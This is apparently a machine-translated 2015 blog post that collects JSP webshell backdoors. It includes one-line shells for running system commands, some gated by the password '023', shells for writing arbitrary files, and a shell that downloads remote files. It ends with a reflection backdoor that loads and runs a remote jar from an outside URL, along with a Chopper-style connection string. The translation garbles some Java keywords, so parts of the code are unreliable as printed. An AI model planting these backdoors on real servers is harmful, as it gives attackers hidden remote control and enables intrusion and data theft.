|
|
Postitatud 02.01.2015 18:46:57
|
|
|
|

Üleviidud: http://p2j.cn/?p=1627 1. Täida süsteemikäsud: Täida süsteemikäsud ilma kajata: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Palve: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Pärast täideviimist ei teki kaja, mis on põrkuvate padrunite puhul väga mugav. Parooli kinnitamisega on sarnaseid näiteid: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; bait[] b = uus bait[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(uus string(b)); } out.print("</pre>"); }%> Taotlus: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Kodeeri string ja kirjuta see määratud faili: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Taotlus: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Kirjuta veebikataloogi: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> Palve: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Taotlus: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Kirjuta veebikataloogi: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Palve: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Laadi alla kaugfail (kui sa ei kasuta Apache io rakendusi, ei saa sisendvoogu baidiks teisendada, seega on see väga pikk...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bait[] b = uus bait[1024]; java.io.ByteArrayOutputStream baos = uus java.io.ByteArrayOutputStream(); int a = -1; samal ajal ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Taotlus: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Laadi alla veebirajale: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bait[] b = uus bait[1024]; java.io.ByteArrayOutputStream baos = uus java.io.ByteArrayOutputStream(); int a = -1; samal ajal ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Palve: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Neljandaks: Peegeldus kutsub välist purki, täiuslikuks tagauks Kui sulle ei meeldi, et ülalmainitud tagaukse funktsioon on liiga nõrk ja aegunud, võid proovida järgmist: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Taotlus: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Kööginoa ühendus: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, parool 023.
Lahendus: Kasuta peegeldust, et laadida väline jar praegusesse rakendusse, ja peegeldus täidab väljundi töötlemise tulemuse. request.getParameterMap() sisaldab kõiki soovitud parameetreid. Kuna väline jar-pakett on laaditud, peab server saama sellele jar-aadressile ligi. |
Eelmine:TXT tekstifaili kriisJärgmine:Java MD5 krüpteerimine, Base64 krüpteerimine ja dekrüpteerimine Java täidab süsteemikäsu lähtekoodi
|